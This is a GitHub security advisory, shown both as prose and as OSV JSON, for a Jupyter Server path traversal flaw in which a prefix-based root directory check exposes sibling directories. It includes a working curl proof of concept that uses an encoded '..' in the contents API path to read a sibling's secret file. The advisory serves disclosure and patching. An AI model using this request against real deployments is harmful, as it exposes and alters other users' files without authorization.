GHSA-5789-5FC7-67V3
Vulnerability from github – Published: 2026-05-05 16:49 – Updated: 2026-08-28 18:30Summary
Jupyter Server <=2.17.0 can access directories sibling to the root directory, if it starts with the root dir's name.
PoC
Minimal:
.
├── test/ <- root directory.
│ └── test.txt
└── testtest/
└── secret.txt <- file to exfiltrate that we should not be able to access via API
HOST="http://localhost:8888"
TOKEN=""
SIBLING="testtest"
TARGET="secret.txt"
curl -s -X POST \
"$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints" \
-H "Authorization: token $TOKEN"
Full PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006
Impact
It is possible for an authenticated user to access content outside the server's root_dir in siblings directories sharing the same prefix as the root_dir. The attacker can escalate access, reading, writing, and deleting from sibling directories.
This can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example user1, user2, user3, ..., user10 etc, as user1 could access and modify files of all user10 - user19 and higher.
In a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.
Workarounds
Use folder names that do not overlap.
Acknowledgments
Thank you to @stef41 for providing a useful PoC.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.17.0"
},
"package": {
"ecosystem": "PyPI",
"name": "jupyter-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35397"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T16:49:10Z",
"nvd_published_at": "2026-05-05T20:16:38Z",
"severity": "HIGH"
},
"details": "### Summary\n\nJupyter Server \u003c=2.17.0 can access directories sibling to the root directory, if it starts with the root dir\u0027s name.\n\n### PoC\n\nMinimal:\n\n```\n.\n\u251c\u2500\u2500 test/ \u003c- root directory.\n\u2502 \u2514\u2500\u2500 test.txt\n\u2514\u2500\u2500 testtest/\n \u2514\u2500\u2500 secret.txt \u003c- file to exfiltrate that we should not be able to access via API\n```\n\n```bash\nHOST=\"http://localhost:8888\"\nTOKEN=\"\"\nSIBLING=\"testtest\"\nTARGET=\"secret.txt\"\n\ncurl -s -X POST \\\n \"$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints\" \\\n -H \"Authorization: token $TOKEN\"\n```\n\nFull PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006\n\n### Impact\n\nIt is possible for an authenticated user to access content outside the server\u0027s `root_dir` in siblings directories sharing the same prefix as the `root_dir`. The attacker can escalate access, reading, writing, and deleting from sibling directories.\n\nThis can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example `user1`, `user2`, `user3`, ..., `user10` etc, as `user1` could access and modify files of all `user10` - `user19` and higher.\n\nIn a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.\n\n### Workarounds\n\nUse folder names that do not overlap.\n\n### Acknowledgments\n\nThank you to @stef41 for providing a useful PoC.",
"id": "GHSA-5789-5fc7-67v3",
"modified": "2026-08-28T18:30:43Z",
"published": "2026-05-05T16:49:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyter-server/jupyter_server/security/advisories/GHSA-5789-5fc7-67v3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35397"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:43038"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60520"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-35397"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466858"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyter-server/jupyter_server"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/jupyter-server/PYSEC-2026-68.yaml"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-35397.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Jupyter Server: Path Traversal via incorrect startswith() root directory check allows access to sibling directories"
}
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